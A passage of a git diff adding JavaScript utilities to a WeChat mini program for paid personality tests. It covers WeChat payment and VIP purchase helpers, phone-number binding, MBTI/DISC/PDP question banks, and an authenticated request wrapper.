1000, done) { + let attempts = 0 + + const tick = () => { + attempts += 1 + queryOrderStatus(orderId, (ok, order) => { + if (ok && order && (order.status === 'paid' || order.status === 'completed')) { + done && done(true, order) + return + } + if (attempts >= maxAttempts) { + done && done(false, order || null) + return + } + setTimeout(tick, intervalMs) + }) + } + + tick() +} + +/** + * 购买VIP会员 + * @param {String} vipType - 'month' | 'quarter' | 'year' | 'lifetime' + */ +function purchaseVIP(vipType, success, fail) { + const prices = { + month: 1990, // 19.9元 + quarter: 4990, // 49.9元 + year: 9900, // 99元 + lifetime: 19900, // 199元 + personal_insight: 19800 // 198元 - 个人深度洞察版 + } + + const names = { + month: '月度VIP会员', + quarter: '季度VIP会员', + year: '年度VIP会员', + lifetime: '终身VIP会员', + personal_insight: '个人深度洞察版' + } + + const orderId = generateOrderId('vip') + + wxPay({ + orderId, + amount: prices[vipType], + description: `MBTI性格测试 - ${names[vipType]}`, + productType: 'vip', + success: (res) => { + // 更新VIP状态 + updateVIPStatus(vipType) + success && success(res) + }, + fail + }) +} + +/** + * 购买测试次数 + * @param {Number} count - 购买次数 + */ +function purchaseTestCount(count, success, fail) { + // 单次价格 3.9元,10次29元,50次99元 + let price = count * 390 + if (count >= 10) price = Math.floor(count * 290) + if (count >= 50) price = Math.floor(count * 198) + + const orderId = generateOrderId('test_count') + + wxPay({ + orderId, + amount: price, + description: `MBTI性格测试 - ${count}次测试次数`, + productType: 'test_count', + success: (res) => { + // 更新测试次数 + addTestCount(count) + success && success(res) + }, + fail + }) +} + +/** + * 购买单次测试 + * @param {String} testType - 'mbti' | 'disc' | 'pdp' | 'ai' + */ +function purchaseSingleTest(testType, success, fail) { + const prices = { + mbti: 990, // 9.9元 + disc: 690, // 6.9元 + pdp: 690, // 6.9元 + ai: 1990 // 19.9元 + } + + const names = { + mbti: 'MBTI性格测试', + disc: 'DISC行为风格测试', + pdp: 'PDP动物性格测试', + ai: 'AI人脸性格分析' + } + + const orderId = generateOrderId(`single_${testType}`) + + wxPay({ + orderId, + amount: prices[testType], + description: names[testType], + productType: 'single_test', + success: (res) => { + // 解锁该测试 + unlockTest(testType) + success && success(res) + }, + fail + }) +} + +/** + * 使用后台定价购买单项测试/报告 + * 支持:人脸测试/MBTI测试/DISC测试/PDP测试/完整报告/团队分析 + * @param {String} productType - 'face' | 'mbti' | 'disc' | 'pdp' | 'report' | 'team_analysis' + * @param {String} description - 商品描述 + * @param {Function|Object} extra - 兼容两种调用方式: + * - purchaseByPricing('face', 'xxx', success, fail) + * - purchaseByPricing('face', 'xxx', { testResultId, success, fail }) + */ +function purchaseByPricing(productType, description, extra, maybeFail) { + let opts = {} + if (typeof extra === 'function' || extra === undefined) { + opts.success = extra + opts.fail = maybeFail + } else { + opts = extra || {} + } + + const { testResultId, success, fail } = opts + const orderId = generateOrderId(productType) + + wxPay({ + orderId, + amount: 0, // 金额交由后端根据定价配置计算(personal/enterprise) + description, + productType, + testResultId, + success, + fail + }) +} + +// 人脸测试完整报告 +// 兼容两种调用方式: +// - purchaseFaceTest(success, fail) +// - purchaseFaceTest({ testResultId, success, fail }) +function purchaseFaceTest(arg1, arg2) { + let opts = {} + if (typeof arg1 === 'function' || arg1 === undefined) { + opts.success = arg1 + opts.fail = arg2 + } else { + opts = arg1 || {} + } + + const { testResultId, success, fail } = opts + + purchaseByPricing('face', 'AI人脸性格分析完整报告', { testResultId, success, fail }) +} + +// MBTI测试付费版(支持 purchaseMbtiTest({ testResultId, success, fail })) +function purchaseMbtiTest(arg1, arg2) { + const opts = typeof arg1 === 'function' || arg1 == null ? { success: arg1, fail: arg2 } : (arg1 || {}) + const { testResultId, success, fail } = opts + purchaseByPricing('mbti', 'MBTI性格测试付费版', { testResultId, success, fail }) +} + +// DISC测试付费版 +function purchaseDiscTest(arg1, arg2) { + const opts = typeof arg1 === 'function' || arg1 == null ? { success: arg1, fail: arg2 } : (arg1 || {}) + const { testResultId, success, fail } = opts + purchaseByPricing('disc', 'DISC行为风格测试付费版', { testResultId, success, fail }) +} + +// PDP测试付费版 +function purchasePdpTest(arg1, arg2) { + const opts = typeof arg1 === 'function' || arg1 == null ? { success: arg1, fail: arg2 } : (arg1 || {}) + const { testResultId, success, fail } = opts + purchaseByPricing('pdp', 'PDP动物性格测试付费版', { testResultId, success, fail }) +} + +// 简历综合分析付费版(支持 purchaseResumeAnalysis({ testResultId, success, fail })) +function purchaseResumeAnalysis(arg1, arg2) { + const opts = typeof arg1 === 'function' || arg1 == null ? { success: arg1, fail: arg2 } : (arg1 || {}) + const { testResultId, success, fail } = opts + purchaseByPricing('resume', '简历综合分析付费版', { testResultId, success, fail }) +} + +// 完整报告(整合MBTI/DISC/PDP/AI人脸等深度解读) +function purchaseFullReport(success, fail) { + purchaseByPricing('report', '完整人格与职业发展报告', success, fail) +} + +// 团队分析服务 +function purchaseTeamAnalysis(success, fail) { + purchaseByPricing('team_analysis', '团队性格组合与冲突分析服务', success, fail) +} + +/** + * 企业充值 + * 支持两种调用: + * - recharge(100, success, fail) + * - recharge({ amountYuan: 100, enterpriseId: 6, success, fail }) + */ +function recharge(arg1, arg2, arg3) { + const opts = (typeof arg1 === 'object' && arg1 !== null) + ? arg1 + : { amountYuan: arg1, success: arg2, fail: arg3 } + const safeAmount = Number(opts.amountYuan) || 0 + const amount = Math.round(safeAmount * 100) + const orderId = generateOrderId('recharge') + + wxPay({ + orderId, + amount, + description: `账户充值 ¥${safeAmount.toFixed(2)}`, + productType: 'recharge', + enterpriseId: opts.enterpriseId || 0, + success: opts.success, + fail: opts.fail + }) +} + +/** + * 个人深度服务(价格从 PricingConfig deep_personal.categories 中读取) + * 支持两种调用方式: + * - purchasePersonalDeepService(deepProductId, success, fail) + * - purchasePersonalDeepService({ deepProductId, description, success, fail }) + * @param {String|Object} arg1 + * @param {Function} [arg2] + * @param {Function} [arg3] + */ +function purchasePersonalDeepService(arg1, arg2, arg3) { + let deepProductId = '' + let description = '' + let success + let fail + + if (typeof arg1 === 'object' && arg1 !== null) { + deepProductId = arg1.deepProductId || '' + description = arg1.description || '' + success = arg1.success + fail = arg1.fail + } else { + deepProductId = typeof arg1 === 'string' ? arg1 : '' + success = arg2 + fail = arg3 + } + + // 默认标题兜底 + const desc = description || '个人深度服务(1v1深度解读)' + const orderId = generateOrderId('deep_personal') + + wxPay({ + orderId, + amount: 0, + description: desc, + productType: 'deep_personal', + deepProductId, + success, + fail + }) +} + +/** + * 团队深度服务(价格从 PricingConfig.deep.team 读取) + */ +function purchaseTeamDeepService(success, fail) { + const orderId = generateOrderId('deep_team') + + wxPay({ + orderId, + amount: 0, + description: '团队深度服务(团队画像+策略)', + productType: 'deep_team', + success, + fail + }) +} + +/** + * 更新VIP状态 + */ +function updateVIPStatus(vipType) { + const durations = { + month: 30, + quarter: 90, + year: 365, + lifetime: 36500 // 100年 + } + + const expireDate = new Date() + expireDate.setDate(expireDate.getDate() + durations[vipType]) + + const vipInfo = { + isVIP: true, + vipType, + expireDate: expireDate.toISOString(), + purchaseDate: new Date().toISOString() + } + + wx.setStorageSync('vipInfo', vipInfo) + app.globalData.vipInfo = vipInfo +} + +/** + * 增加测试次数 + */ +function addTestCount(count) { + const currentCount = wx.getStorageSync('testCount') || 0 + const newCount = currentCount + count + wx.setStorageSync('testCount', newCount) + app.globalData.testCount = newCount +} + +/** + * 解锁单次测试 + */ +function unlockTest(testType) { + const unlockedTests = wx.getStorageSync('unlockedTests') || [] + if (!unlockedTests.includes(testType)) { + unlockedTests.push(testType) + wx.setStorageSync('unlockedTests', unlockedTests) + } + app.globalData.unlockedTests = unlockedTests +} + +/** + * 检查是否是VIP + */ +function checkVIP() { + const vipInfo = wx.getStorageSync('vipInfo') + if (!vipInfo || !vipInfo.isVIP) return false + + const expireDate = new Date(vipInfo.expireDate) + return expireDate > new Date() +} + +/** + * 检查测试是否可用(VIP或已解锁或有测试次数) + */ +function canTakeTest(testType) { + // 临时策略:所有测试免费开放,直接返回 true + // 保留原有支付与权益逻辑,后续若恢复收费可还原为 VIP/解锁/次数判断 + return true +} + +/** + * 消耗一次测试次数 + */ +function consumeTestCount() { + const testCount = wx.getStorageSync('testCount') || 0 + if (testCount > 0) { + wx.setStorageSync('testCount', testCount - 1) + app.globalData.testCount = testCount - 1 + return true + } + return false +} + +/** + * 获取用户权益信息 + */ +function getUserBenefits() { + return { + isVIP: checkVIP(), + vipInfo: wx.getStorageSync('vipInfo') || null, + testCount: wx.getStorageSync('testCount') || 0, + unlockedTests: wx.getStorageSync('unlockedTests') || [] + } +} + +module.exports = { + wxPay, + queryOrderStatus, + pollOrderStatus, + generateOrderId, + purchaseVIP, + purchaseTestCount, + purchaseSingleTest, + // 基于后台定价的购买入口(测试/报告/团队分析/深度服务/充值) + purchaseFaceTest, + purchaseMbtiTest, + purchaseDiscTest, + purchasePdpTest, + purchaseResumeAnalysis, + purchaseFullReport, + purchaseTeamAnalysis, + recharge, + purchasePersonalDeepService, + purchaseTeamDeepService, + checkVIP, + canTakeTest, + consumeTestCount, + getUserBenefits, + updateVIPStatus, + addTestCount, + unlockTest +} diff --git a/miniprogram/utils/phoneAuth.js b/miniprogram/utils/phoneAuth.js new file mode 100644 index 0000000..66aaa31 --- /dev/null +++ b/miniprogram/utils/phoneAuth.js @@ -0,0 +1,113 @@ +/** + * 手机号授权工具:基于微信 getPhoneNumber + 服务器端换取手机号接口 + * 个人资料完整性检查:头像、昵称、手机号为必填,生日和性别选填 + */ + +/** + * 个人资料是否已完善(头像、昵称、手机号必填,生日和性别选填) + * @returns {boolean} + */ +function isProfileComplete() { + const app = getApp() + const user = app.globalData.userInfo || wx.getStorageSync('userInfo') + if (!user) return false + const avatar = (user.avatar || user.avatarUrl || '').trim() + const nickname = (user.nickname || user.nickName || '').trim() + const phone = (user.phone || user.phoneNumber || '').trim() + return avatar.length > 0 && nickname.length > 0 && phone.length > 0 +} + +/** + * 若资料未完善则跳转到个人资料页,需登录 + * @returns {boolean} true=已完善可继续,false=已跳转 + */ +function ensureProfileCompleteAndRedirect() { + const app = getApp() + const token = app.globalData.token || wx.getStorageSync('token') + if (!token) return true + if (isProfileComplete()) return true + wx.showToast({ title: '请先完善个人资料', icon: 'none' }) + wx.navigateTo({ url: '/pages/user-profile/index' }) + return false +} + +/** + * 当前用户是否已有手机号(从 globalData.userInfo 或 storage 读取) + * @returns {boolean} + */ +function hasPhone() { + const app = getApp() + const user = app.globalData.userInfo || wx.getStorageSync('userInfo') + const phone = (user && (user.phone || user.phoneNumber)) ? String(user.phone || user.phoneNumber).trim() : '' + return phone.length > 0 +} + +/** + * 使用 getPhoneNumber 回调里的 code 调用后端接口换取手机号,并写回 userInfo + * @param {string} code + * @returns {Promise} resolve 为更新后的 userInfo + */ +function bindPhoneByCode(code) { + return new Promise((resolve, reject) => { + if (!code) { + wx.showToast({ title: '获取手机号失败', icon: 'none' }) + reject(new Error('empty code')) + return + } + + const app = getApp() + const token = app.globalData.token || wx.getStorageSync('token') + if (!token) { + wx.showToast({ title: '请先登录', icon: 'none' }) + reject(new Error('no token')) + return + } + + const apiBase = app.globalData.apiBase || '' + if (!apiBase) { + wx.showToast({ title: '服务未配置', icon: 'none' }) + reject(new Error('no api base')) + return + } + + wx.showLoading({ title: '处理中...', mask: true }) + wx.request({ + url: `${apiBase.replace(/\/$/, '')}/api/auth/wechat/phone`, + method: 'POST', + header: { + 'Authorization': 'Bearer ' + token, + 'Content-Type': 'application/json', + }, + data: { code }, + success: (res) => { + wx.hideLoading() + if (res.statusCode === 200 && res.data && res.data.code === 200) { + const data = res.data.data || {} + const user = data.user || app.globalData.userInfo || {} + const phone = data.phone || user.phone || '' + const newUser = { ...user, phone } + app.globalData.userInfo = newUser + wx.setStorageSync('userInfo', newUser) + wx.showToast({ title: '授权成功', icon: 'success' }) + resolve(newUser) + } else { + const msg = res.data && res.data.message ? res.data.message : '获取手机号失败' + wx.showToast({ title: msg, icon: 'none' }) + reject(new Error(msg)) + } + }, + fail: () => { + wx.hideLoading() + wx.showToast({ title: '网络请求失败', icon: 'none' }) + reject(new Error('network error')) + }, + }) + }) +} + +module.exports = { + hasPhone, + bindPhoneByCode, + isProfileComplete, + ensureProfileCompleteAndRedirect, +} diff --git a/miniprogram/utils/questions.js b/miniprogram/utils/questions.js new file mode 100644 index 0000000..29ec9ac --- /dev/null +++ b/miniprogram/utils/questions.js @@ -0,0 +1,117 @@ +// utils/questions.js - 测试题库 + +// MBTI测试题(精简版30题,每个维度约7-8题) +const mbtiQuestions = [ + // E vs I 维度 (8题) + { id: 1, question: "在社交场合中,您通常会:", dimension: "EI", options: [{ value: "E", text: "认识新朋友,扩大社交圈" }, { value: "I", text: "与已认识的朋友交流" }] }, + { id: 2, question: "您更喜欢:", dimension: "EI", options: [{ value: "E", text: "在团队中工作" }, { value: "I", text: "独立工作" }] }, + { id: 3, question: "当您需要充电时,您会选择:", dimension: "EI", options: [{ value: "E", text: "与朋友聚会" }, { value: "I", text: "独处休息" }] }, + { id: 4, question: "在会议中,您通常:", dimension: "EI", options: [{ value: "E", text: "积极发言" }, { value: "I", text: "先思考再发表" }] }, + { id: 5, question: "您更倾向于:", dimension: "EI", options: [{ value: "E", text: "认识很多人" }, { value: "I", text: "与少数人深交" }] }, + { id: 6, question: "面对问题时,您更倾向于:", dimension: "EI", options: [{ value: "E", text: "与他人讨论" }, { value: "I", text: "独自思考" }] }, + { id: 7, question: "您更喜欢的休闲活动是:", dimension: "EI", options: [{ value: "E", text: "团体活动" }, { value: "I", text: "个人爱好" }] }, + { id: 8, question: "在陌生环境中,您通常会:", dimension: "EI", options: [{ value: "E", text: "主动与人交谈" }, { value: "I", text: "观察周围环境" }] }, + + // S vs N 维度 (7题) + { id: 9, question: "您更关注:", dimension: "SN", options: [{ value: "S", text: "具体的细节和事实" }, { value: "N", text: "整体概念和可能性" }] }, + { id: 10, question: "您更信任:", dimension: "SN", options: [{ value: "S", text: "实际经验" }, { value: "N", text: "直觉和灵感" }] }, + { id: 11, question: "您更喜欢:", dimension: "SN", options: [{ value: "S", text: "按步骤执行" }, { value: "N", text: "创造性解决" }] }, + { id: 12, question: "学习新事物时,您更喜欢:", dimension: "SN", options: [{ value: "S", text: "实际操作" }, { value: "N", text: "理论学习" }] }, + { id: 13, question: "您更喜欢的工作类型是:", dimension: "SN", options: [{ value: "S", text: "明确的任务" }, { value: "N", text: "创新的项目" }] }, + { id: 14, question: "您描述事物时更倾向于:", dimension: "SN", options: [{ value: "S", text: "具体描述" }, { value: "N", text: "使用比喻" }] }, + { id: 15, question: "您更关心:", dimension: "SN", options: [{ value: "S", text: "当下的现实" }, { value: "N", text: "未来的可能" }] }, + + // T vs F 维度 (8题) + { id: 16, question: "做决定时,您更依赖:", dimension: "TF", options: [{ value: "T", text: "逻辑分析" }, { value: "F", text: "个人价值" }] }, + { id: 17, question: "在争论中,您更看重:", dimension: "TF", options: [{ value: "T", text: "事实真相" }, { value: "F", text: "和谐关系" }] }, + { id: 18, question: "给予反馈时,您更注重:", dimension: "TF", options: [{ value: "T", text: "直接指出问题" }, { value: "F", text: "考虑对方感受" }] }, + { id: 19, question: "评估方案时,您更关注:", dimension: "TF", options: [{ value: "T", text: "效率和结果" }, { value: "F", text: "对人的影响" }] }, + { id: 20, question: "当朋友遇到困难时,您更倾向于:", dimension: "TF", options: [{ value: "T", text: "分析问题提供建议" }, { value: "F", text: "倾听并给予支持" }] }, + { id: 21, question: "您更欣赏的品质是:", dimension: "TF", options: [{ value: "T", text: "理性客观" }, { value: "F", text: "善解人意" }] }, + { id: 22, question: "您认为好的决定应该:", dimension: "TF", options: [{ value: "T", text: "基于客观分析" }, { value: "F", text: "考虑各方感受" }] }, + { id: 23, question: "当与他人意见不同时,您更倾向于:", dimension: "TF", options: [{ value: "T", text: "坚持正确观点" }, { value: "F", text: "寻求共识" }] }, + + // J vs P 维度 (7题) + { id: 24, question: "您更喜欢的工作方式是:", dimension: "JP", options: [{ value: "J", text: "有计划地进行" }, { value: "P", text: "随机应变" }] }, + { id: 25, question: "对于截止日期,您通常:", dimension: "JP", options: [{ value: "J", text: "提前完成" }, { value: "P", text: "在最后完成" }] }, + { id: 26, question: "您的生活方式更倾向于:", dimension: "JP", options: [{ value: "J", text: "有条理有规律" }, { value: "P", text: "灵活随意" }] }, + { id: 27, question: "面对选择时,您更倾向于:", dimension: "JP", options: [{ value: "J", text: "快速做出决定" }, { value: "P", text: "保持开放选项" }] }, + { id: 28, question: "您的桌面通常是:", dimension: "JP", options: [{ value: "J", text: "整洁有序" }, { value: "P", text: "创意性混乱" }] }, + { id: 29, question: "计划改变时,您的反应是:", dimension: "JP", options: [{ value: "J", text: "感到不安" }, { value: "P", text: "觉得有趣" }] }, + { id: 30, question: "您更喜欢:", dimension: "JP", options: [{ value: "J", text: "事先规划" }, { value: "P", text: "即兴发挥" }] } +] + +// DISC测试题 (20题) +const discQuestions = [ + { id: 1, question: "在团队中,您更倾向于:", options: [{ value: "D", text: "主导决策,带领团队" }, { value: "I", text: "活跃气氛,激励成员" }, { value: "S", text: "支持他人,确保和谐" }, { value: "C", text: "分析数据,确保质量" }] }, + { id: 2, question: "面对挑战时,您的第一反应是:", options: [{ value: "D", text: "立即行动" }, { value: "I", text: "寻找支持" }, { value: "S", text: "冷静思考" }, { value: "C", text: "收集信息" }] }, + { id: 3, question: "您在工作中最看重的是:", options: [{ value: "D", text: "成果和效率" }, { value: "I", text: "认可和赞赏" }, { value: "S", text: "稳定和安全" }, { value: "C", text: "准确和质量" }] }, + { id: 4, question: "与他人沟通时,您通常:", options: [{ value: "D", text: "直接了当" }, { value: "I", text: "热情友好" }, { value: "S", text: "耐心倾听" }, { value: "C", text: "逻辑清晰" }] }, + { id: 5, question: "压力之下,您会:", options: [{ value: "D", text: "更加强势" }, { value: "I", text: "寻求鼓励" }, { value: "S", text: "保持冷静" }, { value: "C", text: "更加谨慎" }] }, + { id: 6, question: "您认为自己的优势是:", options: [{ value: "D", text: "决断力强" }, { value: "I", text: "人际关系好" }, { value: "S", text: "可靠稳定" }, { value: "C", text: "分析能力强" }] }, + { id: 7, question: "在会议中,您通常扮演:", options: [{ value: "D", text: "主导者" }, { value: "I", text: "激励者" }, { value: "S", text: "调和者" }, { value: "C", text: "分析者" }] }, + { id: 8, question: "您最不喜欢的工作环境是:", options: [{ value: "D", text: "进展缓慢" }, { value: "I", text: "被孤立" }, { value: "S", text: "变化太快" }, { value: "C", text: "混乱无序" }] }, + { id: 9, question: "做决定时,您更依赖:", options: [{ value: "D", text: "直觉经验" }, { value: "I", text: "他人意见" }, { value: "S", text: "过去经验" }, { value: "C", text: "数据事实" }] }, + { id: 10, question: "您的工作风格是:", options: [{ value: "D", text: "快速高效" }, { value: "I", text: "灵活多变" }, { value: "S", text: "稳定持续" }, { value: "C", text: "严谨细致" }] }, + { id: 11, question: "遇到冲突时,您会:", options: [{ value: "D", text: "直面解决" }, { value: "I", text: "调解双方" }, { value: "S", text: "避免冲突" }, { value: "C", text: "分析原因" }] }, + { id: 12, question: "您期望的领导风格是:", options: [{ value: "D", text: "给予挑战" }, { value: "I", text: "认可表扬" }, { value: "S", text: "稳定支持" }, { value: "C", text: "明确指导" }] }, + { id: 13, question: "处理任务时,您更注重:", options: [{ value: "D", text: "速度效率" }, { value: "I", text: "创意新颖" }, { value: "S", text: "过程协作" }, { value: "C", text: "质量准确" }] }, + { id: 14, question: "您的社交方式是:", options: [{ value: "D", text: "目的明确" }, { value: "I", text: "广泛社交" }, { value: "S", text: "深度交往" }, { value: "C", text: "选择性社交" }] }, + { id: 15, question: "您理想的工作节奏是:", options: [{ value: "D", text: "快节奏" }, { value: "I", text: "灵活多变" }, { value: "S", text: "稳定有序" }, { value: "C", text: "有条理" }] }, + { id: 16, question: "面对变化,您的态度是:", options: [{ value: "D", text: "主动拥抱" }, { value: "I", text: "积极适应" }, { value: "S", text: "需要时间" }, { value: "C", text: "谨慎评估" }] }, + { id: 17, question: "您的时间管理风格是:", options: [{ value: "D", text: "高效利用" }, { value: "I", text: "灵活安排" }, { value: "S", text: "按部就班" }, { value: "C", text: "精确规划" }] }, + { id: 18, question: "激励您的是:", options: [{ value: "D", text: "成就控制" }, { value: "I", text: "认可社交" }, { value: "S", text: "稳定归属" }, { value: "C", text: "正确标准" }] }, + { id: 19, question: "您处理细节的方式是:", options: [{ value: "D", text: "关注大局" }, { value: "I", text: "可能忽略" }, { value: "S", text: "认真对待" }, { value: "C", text: "极度重视" }] }, + { id: 20, question: "您对规则的态度是:", options: [{ value: "D", text: "灵活打破" }, { value: "I", text: "灵活运用" }, { value: "S", text: "遵守维护" }, { value: "C", text: "严格遵守" }] } +] + +// PDP测试题 (20题) +const pdpQuestions = [ + { id: 1, question: "面对紧急任务,您的第一反应是:", options: [{ value: "Tiger", text: "立即行动" }, { value: "Peacock", text: "召集团队" }, { value: "Koala", text: "冷静分析" }, { value: "Owl", text: "仔细规划" }, { value: "Chameleon", text: "灵活应对" }] }, + { id: 2, question: "在社交场合,您通常会:", options: [{ value: "Tiger", text: "主导话题" }, { value: "Peacock", text: "活跃气氛" }, { value: "Koala", text: "安静倾听" }, { value: "Owl", text: "观察分析" }, { value: "Chameleon", text: "根据对象调整" }] }, + { id: 3, question: "您最看重工作中的:", options: [{ value: "Tiger", text: "权力和成就" }, { value: "Peacock", text: "认可和赞赏" }, { value: "Koala", text: "稳定和和谐" }, { value: "Owl", text: "准确和质量" }, { value: "Chameleon", text: "平衡和适应" }] }, + { id: 4, question: "处理冲突时,您倾向于:", options: [{ value: "Tiger", text: "直接解决" }, { value: "Peacock", text: "调解双方" }, { value: "Koala", text: "避免冲突" }, { value: "Owl", text: "理性处理" }, { value: "Chameleon", text: "视情况而定" }] }, + { id: 5, question: "您的决策风格是:", options: [{ value: "Tiger", text: "果断迅速" }, { value: "Peacock", text: "直觉判断" }, { value: "Koala", text: "深思熟虑" }, { value: "Owl", text: "数据分析" }, { value: "Chameleon", text: "灵活决策" }] }, + { id: 6, question: "面对压力,您会:", options: [{ value: "Tiger", text: "更加强势" }, { value: "Peacock", text: "寻求支持" }, { value: "Koala", text: "保持冷静" }, { value: "Owl", text: "更加谨慎" }, { value: "Chameleon", text: "调整策略" }] }, + { id: 7, question: "您的领导风格是:", options: [{ value: "Tiger", text: "指挥型" }, { value: "Peacock", text: "激励型" }, { value: "Koala", text: "支持型" }, { value: "Owl", text: "专家型" }, { value: "Chameleon", text: "教练型" }] }, + { id: 8, question: "您处理细节的方式是:", options: [{ value: "Tiger", text: "关注大局" }, { value: "Peacock", text: "可能忽略" }, { value: "Koala", text: "认真对待" }, { value: "Owl", text: "极度重视" }, { value: "Chameleon", text: "视情况决定" }] }, + { id: 9, question: "您的沟通方式是:", options: [{ value: "Tiger", text: "直接简短" }, { value: "Peacock", text: "热情生动" }, { value: "Koala", text: "温和耐心" }, { value: "Owl", text: "逻辑清晰" }, { value: "Chameleon", text: "根据对象调整" }] }, + { id: 10, question: "您对变化的态度是:", options: [{ value: "Tiger", text: "主动推动" }, { value: "Peacock", text: "积极拥抱" }, { value: "Koala", text: "需要适应" }, { value: "Owl", text: "谨慎评估" }, { value: "Chameleon", text: "随机应变" }] }, + { id: 11, question: "您的时间管理风格是:", options: [{ value: "Tiger", text: "追求速度" }, { value: "Peacock", text: "灵活安排" }, { value: "Koala", text: "稳定执行" }, { value: "Owl", text: "精确规划" }, { value: "Chameleon", text: "根据情况调整" }] }, + { id: 12, question: "您被什么激励:", options: [{ value: "Tiger", text: "成就权力" }, { value: "Peacock", text: "认可赞赏" }, { value: "Koala", text: "安全归属" }, { value: "Owl", text: "正确标准" }, { value: "Chameleon", text: "多样平衡" }] }, + { id: 13, question: "您的学习方式是:", options: [{ value: "Tiger", text: "边做边学" }, { value: "Peacock", text: "互动讨论" }, { value: "Koala", text: "循序渐进" }, { value: "Owl", text: "深入研究" }, { value: "Chameleon", text: "多种结合" }] }, + { id: 14, question: "您对规则的态度是:", options: [{ value: "Tiger", text: "灵活打破" }, { value: "Peacock", text: "不拘一格" }, { value: "Koala", text: "遵守维护" }, { value: "Owl", text: "严格遵守" }, { value: "Chameleon", text: "灵活处理" }] }, + { id: 15, question: "您在团队中的角色是:", options: [{ value: "Tiger", text: "领导者" }, { value: "Peacock", text: "激励者" }, { value: "Koala", text: "协调者" }, { value: "Owl", text: "专家" }, { value: "Chameleon", text: "多面手" }] }, + { id: 16, question: "您的工作节奏是:", options: [{ value: "Tiger", text: "快节奏" }, { value: "Peacock", text: "充满活力" }, { value: "Koala", text: "稳定有序" }, { value: "Owl", text: "有条理" }, { value: "Chameleon", text: "灵活调整" }] }, + { id: 17, question: "您最大的优势是:", options: [{ value: "Tiger", text: "执行力" }, { value: "Peacock", text: "影响力" }, { value: "Koala", text: "可靠性" }, { value: "Owl", text: "准确性" }, { value: "Chameleon", text: "适应力" }] }, + { id: 18, question: "您的人际关系特点是:", options: [{ value: "Tiger", text: "目标导向" }, { value: "Peacock", text: "朋友众多" }, { value: "Koala", text: "关系稳定" }, { value: "Owl", text: "志同道合" }, { value: "Chameleon", text: "灵活建立" }] }, + { id: 19, question: "面对批评,您的反应是:", options: [{ value: "Tiger", text: "可能反驳" }, { value: "Peacock", text: "可能受伤" }, { value: "Koala", text: "接受思考" }, { value: "Owl", text: "分析合理性" }, { value: "Chameleon", text: "灵活调整" }] }, + { id: 20, question: "您的理想工作环境是:", options: [{ value: "Tiger", text: "充满挑战" }, { value: "Peacock", text: "互动频繁" }, { value: "Koala", text: "稳定和谐" }, { value: "Owl", text: "有序规范" }, { value: "Chameleon", text: "灵活多变" }] } +] + +/** + * Fisher-Yates 洗牌:随机打乱题目顺序,同时随机打乱每题的选项顺序 + * 不修改原数组,返回深拷贝后的新数组 + * @param {Array} questions - 原题目数组 + * @returns {Array} 打乱后的题目数组 + */ +function shuffleQuestions(questions) { + // 深拷贝,避免污染原始数组 + const arr = questions.map(q => ({ + ...q, + options: q.options.slice().sort(() => Math.random() - 0.5) + })) + // Fisher-Yates 打乱题目顺序 + for (let i = arr.length - 1; i > 0; i--) { + const j = Math.floor(Math.random() * (i + 1)); + [arr[i], arr[j]] = [arr[j], arr[i]] + } + return arr +} + +module.exports = { + mbtiQuestions, + discQuestions, + pdpQuestions, + shuffleQuestions +} diff --git a/miniprogram/utils/request.js b/miniprogram/utils/request.js new file mode 100644 index 0000000..d46efad --- /dev/null +++ b/miniprogram/utils/request.js @@ -0,0 +1,109 @@ +/** + * 统一请求封装:自动拼接 baseURL、携带 token、处理 401 + * 使用前需已执行 App(),否则 getApp() 在 require 时可能未就绪,这里在请求时再取 app + */ +function getAppSafe() { + try { + return getApp() + } catch (e) { + return null + } +} + +function getToken() { + const app = getAppSafe() + return (app && app.globalData && app.globalData.token) || wx.getStorageSync('token') || '' +} + +function getApiBase() { + const app = getAppSafe() + return (app && app.globalData && app.globalData.apiBase) || '' +} + +/** + * 清除登录态(401 或主动退出时调用) + */ +function clearLoginState() { + const app = getAppSafe() + if (app && app.globalData) { + app.globalData.token = null + app.globalData.userInfo = null + app.globalData.openId = null + } + try { + wx.removeStorageSync('token') + wx.removeStorageSync('userInfo') + } catch (e) {} +} + +/** + * 发起请求 + * @param {Object} options - 同 wx.request,url 可为相对路径(自动加 apiBase) + * @param {boolean} options.needAuth - 是否携带 Authorization,默认 true + * @param {boolean} options.allow401 - 401 时是否静默清除登录态而不 fail,默认 true + */ +function request(options) { + const apiBase = getApiBase() + const url = options.url + const fullUrl = url.startsWith('http') ? url : `${apiBase.replace(/\/$/, '')}${url.startsWith('/') ? '' : '/'}${url}` + const needAuth = options.needAuth !== false + const allow401 = options.allow401 !== false + + const header = { + 'Content-Type': 'application/json', + ...(options.header || {}) + } + if (needAuth) { + const token = getToken() + if (token) header['Authorization'] = `Bearer ${token}` + } + + const success = options.success + const fail = options.fail + const complete = options.complete + + return wx.request({ + ...options, + url: fullUrl, + header, + success(res) { + if (res.statusCode === 401 && allow401) { + clearLoginState() + } + if (success) success(res) + }, + fail(err) { + if (fail) fail(err) + }, + complete(res) { + if (complete) complete(res) + } + }) +} + +/** + * Promise 版 request,便于 async/await + */ +function requestPromise(options) { + return new Promise((resolve, reject) => { + request({ + ...options, + success(res) { + if (res.statusCode >= 200 && res.statusCode < 300) { + resolve(res) + } else { + reject(new Error(res.data && res.data.message ? res.data.message : '请求失败')) + } + }, + fail: reject + }) + }) +} + +module.exports = { + request, + requestPromise, + getToken, + getApiBase, + clearLoginState +} diff --git a/miniprogram/utils/resultFormat.js b/miniprogram/utils/resultFormat.js new file mode 100644 index 0000000..e749d0f --- /dev/null +++ b/miniprogram/utils/resultFormat.js @@ -0,0 +1,95 @@ +/** + * 测试结果摘要格式化:类型 + 整数百分比(与管理后台一致) + */ + +function toIntPercent(value) { + if (value == null) return 0 + const n = typeof value === 'number' ? value : Number(value) + return Number.isFinite(n) ? Math.round(n) : 0 +} + +/** + * 根据测试类型和原始结果,生成带整数百分比的摘要文案 + * @param {object} data - 单条测试结果(mbtiResult / discResult / pdpResult) + * @param {string} testType - 'mbti' | 'disc' | 'pdp' + * @returns {string} + */ +function formatTestSummary(data, testType) { + if (!data || typeof data !== 'object') return '' + const t = (testType || '').toLowerCase() + + if (t === 'mbti') { + const label = data.mbtiType || data.type || data.result || '' + const dims = data.dimensionScores + if (dims && typeof dims === 'object') { + const parts = [] + const order = ['EI', 'SN', 'TF', 'JP'] + for (const key of order) { + const pct = dims[key] && (dims[key].percentage != null ? dims[key].percentage : dims[key].dominant) + if (pct != null) parts.push(toIntPercent(pct) + '%') + } + if (parts.length) return label + ' (' + parts.join(' ') + ')' + } + return String(label) + } + + if (t === 'disc') { + const desc = data.description && data.description.type + const label = (typeof desc === 